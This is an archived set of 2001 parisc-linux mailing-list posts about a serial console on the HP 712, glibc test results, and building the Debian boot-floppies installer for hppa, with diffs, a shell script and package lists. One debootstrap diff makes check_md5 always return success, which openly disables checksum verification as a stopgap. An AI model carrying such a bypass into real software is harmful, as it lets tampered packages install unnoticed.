Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial PDC console on 712/601
Date: Mon, 07 May 2001 13:06:01 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <3AF68199.8CCD7FD2@esiee.fr>
References: <3AF5AF65.C685635C@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620105 18944 80.91.229.3 (22 Nov 2014 01:35:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:05 +0000 (UTC)
Cc: puffin@esiee.net
To: Christoph Plattner <christoph.plattner@gmx.at>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  7 04:58:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id B4D67482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 May 2001 04:58:52 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id DCFEFD15B2; Mon,  7 May 2001 12:58:46 +0200 (CEST)
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11005

Christoph Plattner wrote:
> 
> Hello HP hackers !
> 
> I have a problem setting the PDC console path to serial.
> How can be done this on the HP 712/60.
> On my 9000/720 I can use the `path' command on the PDC
> console (admin mode). But on the 712/60, the `path' command
> only sets the boot paths (primary, secondary), but not the
> console.
> 
> Is it possible to use the 712/60 with serial console only
> (no display and keyboard) ?
> How can I set serial console ?
> 
> With friendly regards
>         Christoph Plattner
> 
> --
> -------------------------------------------------------------------------
> private:        christoph.plattner@gmx.at
> company:        christoph.plattner@alcatel.at
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux



>From Pa-RISC/Linux Boot Howto:

3.1.2.3.3. How can I change the boot console to serial on a 712?

   Unfortunately, you can't. Although 712s are configured for in-house
HP development to use serial console, this configuration
   isn't supported in the field. You have to use a graphics console for
712s.

http://www.oswg.org/oswg-nightly/oswg/en_US.ISO_8859-1/articles/
parisc-linux/parisc-linux-boot/ 

But it seems you can, after dangerous manipulations:

http://lists.parisc-linux.org/pipermail/parisc-linux/1999-December/008117.html 

regards,
Matthieu


-- 
Matthieu Delahaye
ESIEE Team
http://mkhppa1.esiee.fr/




From - Thu Nov 08 21:17:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial PDC console on 712/601
Date: Mon, 07 May 2001 14:22:43 +0200
Organization: AAA
Lines: 89
Approved: news@gmane.org
Message-ID: <3AF69393.F9C5C6E1@alcatel.at>
References: <3AF5AF65.C685635C@gmx.at> <3AF68199.8CCD7FD2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620105 18946 80.91.229.3 (22 Nov 2014 01:35:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:05 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@gmx.at>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>, puffin@esiee.net
To: Matthieu Delahaye <delahaym@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  7 06:23:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id E06A9482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 May 2001 06:23:08 -0600 (MDT)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id OAA28373;
	Mon, 7 May 2001 14:22:44 +0200 (MET DST)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11006

Very intersting the method of using the ISL commands to switch
over. And I think I also can switch back using this method.
Is this correct ?

But what is this "dagger" card.
Where does the machine store the information ?
Flash/EEPROM/battery backuped SRAM ?
Can I do a "backup" copy (I have an universial chip programmer
at home, and other tools !) ?
Can I make such a "dagger" card (whatever it is ?

Please give me some hints, before I "risk" the change !

With friendly regards
	Christoph Plattner



------------------------------------------------------------------
private:  christoph.plattner@gmx.at
company:  christoph.plattner@alcatel.at


Matthieu Delahaye wrote:
> 
> Christoph Plattner wrote:
> >
> > Hello HP hackers !
> >
> > I have a problem setting the PDC console path to serial.
> > How can be done this on the HP 712/60.
> > On my 9000/720 I can use the `path' command on the PDC
> > console (admin mode). But on the 712/60, the `path' command
> > only sets the boot paths (primary, secondary), but not the
> > console.
> >
> > Is it possible to use the 712/60 with serial console only
> > (no display and keyboard) ?
> > How can I set serial console ?
> >
> > With friendly regards
> >         Christoph Plattner
> >
> > --
> > -------------------------------------------------------------------------
> > private:        christoph.plattner@gmx.at
> > company:        christoph.plattner@alcatel.at
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 
> >From Pa-RISC/Linux Boot Howto:
> 
> 3.1.2.3.3. How can I change the boot console to serial on a 712?
> 
>    Unfortunately, you can't. Although 712s are configured for in-house
> HP development to use serial console, this configuration
>    isn't supported in the field. You have to use a graphics console for
> 712s.
> 
> http://www.oswg.org/oswg-nightly/oswg/en_US.ISO_8859-1/articles/
> parisc-linux/parisc-linux-boot/
> 
> But it seems you can, after dangerous manipulations:
> 
> http://lists.parisc-linux.org/pipermail/parisc-linux/1999-December/008117.html
> 
> regards,
> Matthieu
> 
> --
> Matthieu Delahaye
> ESIEE Team
> http://mkhppa1.esiee.fr/
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux


------------------------------------------------------------------
private:  christoph.plattner@gmx.at
company:  christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] boot-floppies (installer)
Date: Tue, 8 May 2001 07:53:25 +0100
Lines: 340
Approved: news@gmane.org
Message-ID: <20010508075325.O1840@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620105 18952 80.91.229.3 (22 Nov 2014 01:35:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:05 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  8 00:53:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc171-bre9.cable.ntl.com [213.105.88.171])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B9C0482A
	for <parisc-linux@parisc-linux.org>; Tue,  8 May 2001 00:53:53 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C98E1B007; Tue,  8 May 2001 07:53:25 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:11007

Hi,
  Paul L, Paul B and I are working on the installer.  This is where
we are currently at...

I'm posting these diffs here rather than just dopping them in cvs because
I know they are not quite right, but hopefully others will pick them up
and try building.

First debootstrap, latest source is 0.1.7, and my diff is

================================== cut ===============================
diff -ur debootstrap-0.1.7.ori/functions debootstrap-0.1.7/functions
--- debootstrap-0.1.7.ori/functions	Tue May  1 01:01:07 2001
+++ debootstrap-0.1.7/functions	Fri May  4 10:13:05 2001
@@ -69,6 +69,8 @@
 
 check_md5 () {
   # args: dest md5 size
+  # always succeed, until busybox md5sum is fixed
+  return 0
   local expmd5="$2"
   local expsize="$3"
   relmd5=`md5sum < "$1"`
diff -ur debootstrap-0.1.7.ori/woody debootstrap-0.1.7/woody
--- debootstrap-0.1.7.ori/woody	Tue May  1 01:47:26 2001
+++ debootstrap-0.1.7/woody	Mon May  7 22:11:56 2001
@@ -18,6 +18,22 @@
 	"arm")
 		base="$base setserial libgpmg1"
 		;;
+	"hppa")
+		base="$(without_package "apt-utils" "$base")"
+		base="$(without_package "console-common" "$base")"
+		base="$(without_package "console-data" "$base")"
+		base="$(without_package "console-tools" "$base")"
+		base="$(without_package "console-tools-libs" "$base")"
+		base="$(without_package "fdutils" "$base")"
+		base="$(without_package "liblockfile1" "$base")"
+		base="$base palo"
+		base="$base libstdc++3.0"
+		base="$base gcc-3.0-base"
+		required="$required libterm-stool-perl"
+		required="$required libterm-slang-perl"
+		required="$required base-config"
+		required="$(without_package "libstdc++2.10-glibc2.2" "$required")"
+		;;
 	"i386")
 		required="$(without_package "libperl5.6" "$required") mbr"
 		base="$base lilo pciutils setserial syslinux"   # pcmcia-cs
================================== cut ===============================

busybox md5sum is fixed in its master cvs, but that hasn't rippled down
to us yet.  Paul L built a .deb with the fix, on pehc:~pjlahaie.  Havn't
checked to see if I can now enable the md5sum tests.

The big list of things removed from base are more because I didn't have
.debs of them than because they were not needed.  libterm* are probably
not actually needed.

Can't get this lot upstream until we figure out what the package list
should really be.



There is a file /sbin/termwrap needed in the root.bin produced from building
the boot-floppies, which doesn't appear to belong to any package.  A quick
search showed other ports had hit the same problem.  Here it is; add it to
your root.bin before trying to use it, and don't forget to chmod +x it.

================================== cut ===============================
#!/bin/sh
######################################################################
##	Ignore some signals.
######################################################################
trap fail SIGTERM SIGINT

######################################################################
##	Set some environment variables.
######################################################################
# reads /etc/environment.
test -f /etc/environment && . /etc/environment

# Set all locale related environment variables.
LC_ALL=$LANG
export LANG LC_ALL

######################################################################
##	Display usage if no argument.
######################################################################
if [ -z "$1" ]; then
	echo "usage: $0 [-nnt] <command> [...]"
	echo "-nnt: don't run another terminal"
	exit 0
fi

######################################################################
##	Recognize terminal type.
######################################################################
case `/usr/bin/tty` in
/dev/tty|/dev/console|/dev/tty[1-9]*)
	TERMINAL=console
	;;
/dev/tty[p-za-e]*)
	TERMINAL=pseudo
	if [ ! -z "$DISPLAY" ]; then
		TERMINAL=x
	else
		case $TERM in
		rxvt|xterm*|kterm)	TERMINAL=x;;
		esac
	fi
	;;
/dev/tty[A-Z]*|/dev/cu*)
	TERMINAL=serial
	;;
esac

case $TERM in
dumb)	TERMINAL=dumb
esac

export TERMINAL

# Why don't we use dpkg-architecture? 
# Because it isn't in the base archive.

case $HOSTTYPE in 
i386)	/bin/grep -q 9800 /proc/version && SUBARCH=pc9800 ;;
esac

######################################################################
##	Select suitable terminal as wrapper.
######################################################################
WRAPPER=""

case $LANG in
ja*)	
	case $TERMINAL in
	x)
		#WRAPPER="/usr/X11R6/bin/kterm -e"
		WRAPPER="/usr/X11R6/bin/krxvt -e"
		;;
	console)
		if [ "$SUBARCH" != pc9800 -a "$TERMINAL" = console ]; then
			# Any plathome except PC9800 require jfbterm
			# to display japanese fonts on console.
			WRAPPER="/usr/bin/jfbterm -e"
		fi
		;;
	# On pseudo and serial, we couldn't know
	# that terminal can display japanese fonts...
	esac
	;;
esac

if [ "$1" = "-nnt" ]; then
	WRAPPER=""
	shift
fi

######################################################################
##	Execute Wrapper.
######################################################################
if [ ! -z "$WRAPPER" -a -x "$WRAPPER" ]; then
	$WRAPPER /bin/true && exec $WRAPPER $@
fi

exec $@

================================== cut ===============================


Next are my diffs to the boot-floppies package itself.  These are against
pehc cvs.  Some things will change - this hardwires it for serial
console, for example.  If we can handle gzipped kernel images, we
maybe don't need the enw resc3700 size, for example.

================================== cut ===============================
diff -ur -x CVS boot-floppies.ori/Makefile boot-floppies/Makefile
--- boot-floppies.ori/Makefile	Tue May  1 17:57:12 2001
+++ boot-floppies/Makefile	Mon May  7 20:29:56 2001
@@ -147,7 +147,7 @@
 	$(MAKE) root.tar.gz
 else
 ifeq ($(architecture), hppa)
-	$(MAKE) root.tar.gz
+	$(MAKE) root.tar.gz resc3700.bin drivers.tgz
 else
 	echo unsupported architecture: $(architecture); false
 endif
diff -ur -x CVS boot-floppies.ori/kernel.sh boot-floppies/kernel.sh
--- boot-floppies.ori/kernel.sh	Tue May  1 17:19:00 2001
+++ boot-floppies/kernel.sh	Mon May  7 18:05:49 2001
@@ -101,7 +101,7 @@
     cp $extractdir/boot/vmlinux-* linux$subarch
     cp $extractdir/boot/vmlinux.coff-* linux$subarch.coff
 else
-    cp $extractdir/boot/vmlinuz* linux$subarch
+    cp $extractdir/boot/vmlinuz* linux$subarch || cp $extractdir/boot/vmlinux* linux$subarch
 fi
 
 info "creating sys_map$subarch.gz"
diff -ur -x CVS boot-floppies.ori/make/hppa.vars boot-floppies/make/hppa.vars
--- boot-floppies.ori/make/hppa.vars	Tue May  1 18:17:02 2001
+++ boot-floppies/make/hppa.vars	Mon May  7 18:55:22 2001
@@ -5,6 +5,8 @@
 # see 'checks'
 tools_checks		:=
 
+arch_rootdisk_deps	:= drivers.tgz resc3700.bin
+
 # additional check rules to run, see 'checks'
 arch_addl_checks	:= 
 
diff -ur -x CVS boot-floppies.ori/make/rescue boot-floppies/make/rescue
--- boot-floppies.ori/make/rescue	Tue May  1 17:19:01 2001
+++ boot-floppies/make/rescue	Mon May  7 18:45:04 2001
@@ -40,6 +40,14 @@
 	$(ROOTCMD) ./rescue.sh $(archive) "$*" $(kver) $< \
 		2880 $(debianversion) "" $(LINGUA) $(SFONT)
 
+resc3700%.bin:	$(root_for_rescue) linux% rescue.sh $(arch_rescue_deps)
+	$(ROOTCMD) ./rescue.sh $(archive) "$*" $(kver) $< \
+		3700 $(debianversion) "" $(LINGUA) $(SFONT)
+
+resc3700.bin:	root.bin linux rescue.sh $(arch_rescue_deps)
+	$(ROOTCMD) ./rescue.sh $(archive) "$*" $(kver) $< \
+		3700 $(debianversion) "" $(LINGUA) $(SFONT)
+
 resc2880%.bin:	$(root_for_rescue) linux% rescue.sh $(arch_rescue_deps)
 	$(ROOTCMD) ./rescue.sh $(archive) "$*" $(kver) $< \
 		2880 $(debianversion) "" $(LINGUA) $(SFONT)
diff -ur -x CVS boot-floppies.ori/release.sh boot-floppies/release.sh
--- boot-floppies.ori/release.sh	Tue May  1 17:19:00 2001
+++ boot-floppies/release.sh	Mon May  7 18:53:34 2001
@@ -68,10 +68,15 @@
 
   cd $release
 
+  mkdir images-3.70
   mkdir images-2.88
   mkdir images-1.44
   mkdir images-1.20
 
+  for f in resc3700*.bin; do
+    [ ! -f $f ] || mv $f images-3.70/rescue${f#resc3700}
+  done
+
   for f in resc2880*.bin; do
     [ ! -f $f ] || mv $f images-2.88/rescue${f#resc2880}
   done
@@ -96,6 +101,7 @@
     [ ! -f $f ] || mv $f images-1.20/driver${f#drv12}
   done
 
+  rmdir images-3.70 2>/dev/null || true	# in case empty
   rmdir images-2.88 2>/dev/null || true	# in case empty
   rmdir images-1.44 2>/dev/null || true	# in case empty
   rmdir images-1.20 2>/dev/null || true	# in case empty
@@ -145,6 +151,9 @@
   ia64)
 	do_arch_ia64 $otherargs
 	;;
+  hppa)
+	do_arch_hppa $otherargs
+	;;
   *)
   	echo "Unsupported arch $arch"
 	exit 1
@@ -898,6 +907,11 @@
 }
 
 do_arch_ia64()
+{
+	echo "Nothing here yet!"
+}
+	
+do_arch_hppa()
 {
 	echo "Nothing here yet!"
 }
diff -ur -x CVS boot-floppies.ori/scripts/rootdisk/SMALL_BASE_LIST_all boot-floppies/scripts/rootdisk/SMALL_BASE_LIST_all
--- boot-floppies.ori/scripts/rootdisk/SMALL_BASE_LIST_all	Tue May  1 19:29:07 2001
+++ boot-floppies/scripts/rootdisk/SMALL_BASE_LIST_all	Mon May  7 14:44:02 2001
@@ -1,6 +1,6 @@
 bin/ash
 bin/busybox
-usr/bin/nano
+bin/nano-tiny
 etc/protocols
 sbin/MAKEDEV
 sbin/badblocks
diff -ur -x CVS boot-floppies.ori/utilities/dbootstrap/baseconfig.c boot-floppies/utilities/dbootstrap/baseconfig.c
--- boot-floppies.ori/utilities/dbootstrap/baseconfig.c	Tue May  1 17:19:01 2001
+++ boot-floppies/utilities/dbootstrap/baseconfig.c	Mon May  7 20:44:51 2001
@@ -412,6 +412,11 @@
     update_console_info();
 #endif
 
+/* Hmm, some are serial, some are graphical */
+#if #cpu (hppa)
+    update_console_info();
+#endif
+
   /* If on serial console, get rid of kbd files and setserial startup.
      The kbd package will be purged during final configuration. */
   if (serialConsole >= 0)
diff -ur -x CVS boot-floppies.ori/utilities/dbootstrap/dbootstrap.h boot-floppies/utilities/dbootstrap/dbootstrap.h
--- boot-floppies.ori/utilities/dbootstrap/dbootstrap.h	Tue May  1 17:19:01 2001
+++ boot-floppies/utilities/dbootstrap/dbootstrap.h	Mon May  7 20:47:23 2001
@@ -298,6 +298,10 @@
 # define NFSROOT                /* network boot */
 # define LOCALTIME              /* ask for GMT or localtime clock setup */
 
+#elif #cpu (hppa)
+
+# define SERIAL_CONSOLE         /* serial console recognized */
+
 #endif
 
 #ifdef DO_EJECT
================================== cut ===============================


One last thing, you need to grab debiandoc.decl from somewhere (I
found it on an x86 debian box) and put it in

boot-floppies/documentation/declaration/debiandoc.decl

so that the documentation part of the build works.


So, with that lot, and some luck, you should be able to build the
boot-floppies package.

Richard





From - Thu Nov 08 21:17:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3 make check status
Date: Tue, 08 May 2001 07:48:05 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <m14x7qP-001VltC@bame.riverrock.org>
References: <20010505033457.Q32445@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620106 19209 80.91.229.3 (22 Nov 2014 01:35:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  8 07:48:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from deimos.frii.net (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89C5C482A
	for <parisc-linux@parisc-linux.org>; Tue,  8 May 2001 07:48:24 -0600 (MDT)
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by deimos.frii.net (8.11.3/8.11.3) with ESMTP id f48DmEW76107;
	Tue, 8 May 2001 07:48:19 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id HAA29566;
	Tue, 8 May 2001 07:48:06 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m14x7qP-001VltC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <matthew@wil.cx>; Tue, 8 May 2001 07:48:05 -0600 (MDT) 
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matthew Wilcox <matthew@wil.cx> 
   of "Sat, 05 May 2001 03:34:57 BST." <20010505033457.Q32445@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11008

> 
> I'm not sure people actually ran make check against glibc 2.2.1, so I don't
> know how this compares.  Maybe 2.2.3 just has more tests than 2.2.1 did...

make check for 2.2.1 with the large file changes should only have failed
some of the fp tests.

>  * all the tests in math/ fail.  pb knows what these problems are.

If all the tests fail that's a problem. In 2.2.1 the fp  tests passed except
the ones where glibc computed something like trig functions, and those tests
were off in their least-significant bits.





From - Thu Nov 08 21:17:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot-floppies (installer)
Date: Tue, 8 May 2001 15:30:29 +0100
Lines: 439
Approved: news@gmane.org
Message-ID: <20010508153029.R1840@linuxcare.com>
References: <20010508075325.O1840@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620106 19214 80.91.229.3 (22 Nov 2014 01:35:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:06 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  8 08:31:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc171-bre9.cable.ntl.com [213.105.88.171])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91689482A
	for <parisc-linux@parisc-linux.org>; Tue,  8 May 2001 08:30:59 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A03C1B007; Tue,  8 May 2001 15:30:29 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010508075325.O1840@linuxcare.com>; from rhirst@linuxcare.com on Tue, May 08, 2001 at 07:53:25AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11009

Hi, this is an attempt to document how I'm making boot-floppies
at the moment, and to identify packages that need to get
fed through the buildd.  There may well be things in the
list that we don't really need, but that debootstrap currently
references.


Packages I needed, not yet available from Debian mirrors.  Some
of these were needed to build, rather than actually packaged
within the boot-floppies.  Just about all are available from
pehc debs, base, ~pjlahaie, or ~bame, except for apt-uitls,
I think.

I have horrible problems with *slang*, *newt* in lib and usr/lib,
and how things such as dbootstrap and whiptail try to reference
libslang.so.  At the moment I'm running with newer packages on
the build system, and older ones in the boot-floppies.  Hopefully
a synchronised rebuild of the relevant packages will sort things
out there.  Typical problem is that something references
/usr/lib/libslang.so, which doesn't exist (depending on what
vintage of packages you use).

Anyway, the packages I'd like to find in a debian mirror:


telnetd			(just for my use, not part of b-f build)

gcc-3.0
libgcc300
cpp-3.0
libc6-dev

debootstrap		but it needs my patch

kernel-package		pb has one on pehc

kernel-image-2.4.0	pb has one, but doesn't contain modules
			I build one below
apt
apt-utils
console-tools
console-tools-libs
exim
ldso
libc6
libldap2
libnewt0
libstdc++2.10
libstdc++2.10-glibc2.2
libstdc++3.0
man-db
modutils
ncurses-bin
netkit-inetd
netkit-ping
palo
slang1			pb's fix for .so link
slang1-dev
slang1-pic
whiptail		whiptail_0.50.8-2_hppa.deb, pehc/base works
			with the new slang above.  Arghhh!
telnet
glibc-pic
libnewt
libnewt-dev
recode
sp			(replaced by sgml-data??)
libsp1
librecode0
pointerize
libgd
libgd-dev
python-xml
busybox			need new source from above
g++-3.0
libstdc++3.0-dev



===========================================================================

Build process, building on a500.

Install base.tgz from the 0.6 .iso.
Reboot
apt-get update
apt-get upgrade
# whiptail crashes lots, but seems ok once the upgrade is done
apt-get dist-upgrade
apt-get install gcc-3.0-base
apt-get install portmap

telnetd_0.17-9_hppa.deb						# pehc/debs

apt-get install binutils

gcc-3.0_3.0-0pre010223_hppa.deb					# pehc/newcompilers
libgcc300_3.0-0pre010223_hppa.deb				# pehc/newcompilers
cpp-3.0_3.0-0pre010223_hppa.deb					# pehc/newcompilers
libc6-dev_2.2.1-1_hppa.deb					# pehc/newcompilers

apt-get install cvs

# hack /var/lib/dpkg/status to add perl5 entry.

apt-get install dpkg-dev gcc debhelper

cd /usr/src
cvs checkout boot-floppies

cd /usr/src/boot-floppies && <apply my patch>

mkdir documentation/declaration/
cp /share/debiandoc.decl documentation/declaration/

# /archive/debian/local/ holds our local deb archive

mkdir /archive
mkdir /archive/debian
mkdir /archive/debian/local

## need to build debootstrap with my patches

apt-get source debootstrap

# note, having applied the patch, remove the 
#    base="$(without_package "liblockfile1" "$base")"
# line that it added to woody.

cd /usr/src/debootstrap && <apply my patch>
dpkg-buildpackage -b -uc

cd /usr/src
cp debootstrap_0.1.7_hppa.deb /archive/debian/local/
dpkg -i debootstrap_0.1.7_hppa.deb				# local

# need kernel-package to build kernel-image

dpkg -i /mnt/parisc/bame.debs/kernel-package_7.37-0pa2_all.deb	# pehc/bame

## build kernel-image

cd /usr/src
cvs checkout linux
cd linux
make mrproper

# change defconfig to enable modules and include at least one
# module  (probably just a make config would do...)

CONFIG_MODULES=y
CONFIG_MODVERSIONS=y
CONFIG_KMOD=y
CONFIG_PA7100=y
CONFIG_PA11=y
CONFIG_CHR_DEV_SG=m

make oldconfig
make-kpkg --revision 0rgh clean kernel_image

cp cp /usr/src/kernel-image-2.4.0_0rgh_hppa.deb /archive/debian/local	# local

## create our http install tree

cd /usr/src
mkdir http-tree
mkdir http-tree/dists
mkdir http-tree/dists/woody
mkdir http-tree/dists/woody/main
mkdir http-tree/dists/woody/main/binary-hppa
mkdir http-tree/dists/woody/main/binary-hppa/base
mkdir http-tree/dists/woody/main/disks-hppa
mkdir http-tree/dists/woody/main/disks-hppa/current
mkdir http-tree/dists/woody/main/disks-hppa/current/images-1.44

cat > http-tree/dists/woody/Release << EOF
Origin: Debian
Label: Debian
Suite: testing
Codename: woody
Date: Wed, 04 Apr 2001 19:31:44 UTC
Architectures: hppa
Components: main
Description: Debian HPPA Testint distribution - Not Released
md5sum:f2e6f31ff5777f3961b7ee51c61ac409 73112 main/binary-hppa/Packages
EOF


## gather all the packages debootstrap will need to do the base install

# all referenced, anyway - may not all be needed, perhaps
# drop them in http-tree/dists/woody/main/binary-hppa/base

apt			# pehc/base
apt-utils		# n/a
at
base-config
base-files
base-passwd
bash
bsdmainutils
bsdutils
console-common
console-data
console-tools		# pehc/debs
console-tools-libs	# pehc/debs
cpio
cron
debconf
debianutils
diff
dpkg
e2fsprogs
ed
exim			# pehc/debs
fdutils			# n/a
fileutils
findutils
gcc-3.0-base
gettext-base
grep
groff
gzip
hostname
ifupdown
info
ipchains
ldso			# pehc/debs
libc6			# pehc/newcompilers
libdb2
libgdbmg1
libident
libldap2		# pehc/debs
liblockfile1
libncurses4
libncurses5
libnewt0		# pehc/base, old one!
libopenldap-runtime
libopenldap1
libpam-modules
libpam-runtime
libpam0g
libpcre3
libperl5.6
libpopt0
libreadline4
libsasl7
libstdc++2.10		# pehc/base
libstdc++2.10-glibc2.2	# n/a
libstdc++3.0		# pehc/newcompilers
libterm-slang-perl
libterm-stool-perl
libwrap0
login
logrotate
mailx
makedev
man-db			# pehc/debs
manpages
mawk
modconf
modutils		# debian, but way out of date
mount
nano
ncurses-base
ncurses-bin		# pehc/debs
net-tools
netbase
netkit-inetd		# pehc/debs
netkit-ping		# pehc/debs
nvi
palo			# pehc/debs
passwd
perl-base
ppp
procps
sed
shellutils
slang1			# pehc/debs - pb's fix for .so link
sysklogd
sysvinit
tar
tasksel
tcpd
telnet			# pehc/debs
textutils
update
util-linux
whiptail		# whiptail_0.50.8-2_hppa.deb pehc/base

## Create the Packages file

cd /usr/src/http-tree
dpkg-scanpackages dists/woody/main/binary-hppa/base /dev/null > \
	dists/woody/main/binary-hppa/Packages


## check we have all the packages for debootstrap

cd /usr/src
debootstrap woody /usr/src/debo.tmp file:/usr/src/http-tree 2>&1 | tee debo.log

# At this point you can play with debootstrap/woody script to
# experiment with the package set.


## install all the .debs we need to build boot-floppies

# First it wants pointerize, which I can find anywhere...

cd /usr/src
apt-get -b source pointerize

glibc-pic		# libc6-pic, pehc/newcompilers
slang1-pic		# pehc/debs, pb's fix for .so link
libnewt			# new one from pehc/debs
libnewt-dev		# pehc/debs
libpopt-dev		
zlib1g-dev
recode			# pehc/debs
gettext
m4
sp			# pehc/debs (replaced by sgml-data??)
libsp1			# pehc/debs
sgml-base
debiandoc-sgml
libsgmls-perl
libtext-format-perl
sgmlspl
librecode0		# pehc/debs
slang1-dev		# pehc/debs, pb's fix for .so link
libi18n-langtags-perl
libpaperg
gsfonts
libfreetype6
libjpeg62
libkpathsea3
libpng2
libtiff3g
libwww0
libxaw7
tetex-base
tetex-bin
tetex-extra
texinfo
xfree86-common
xlibs
libhtml-parser-perl
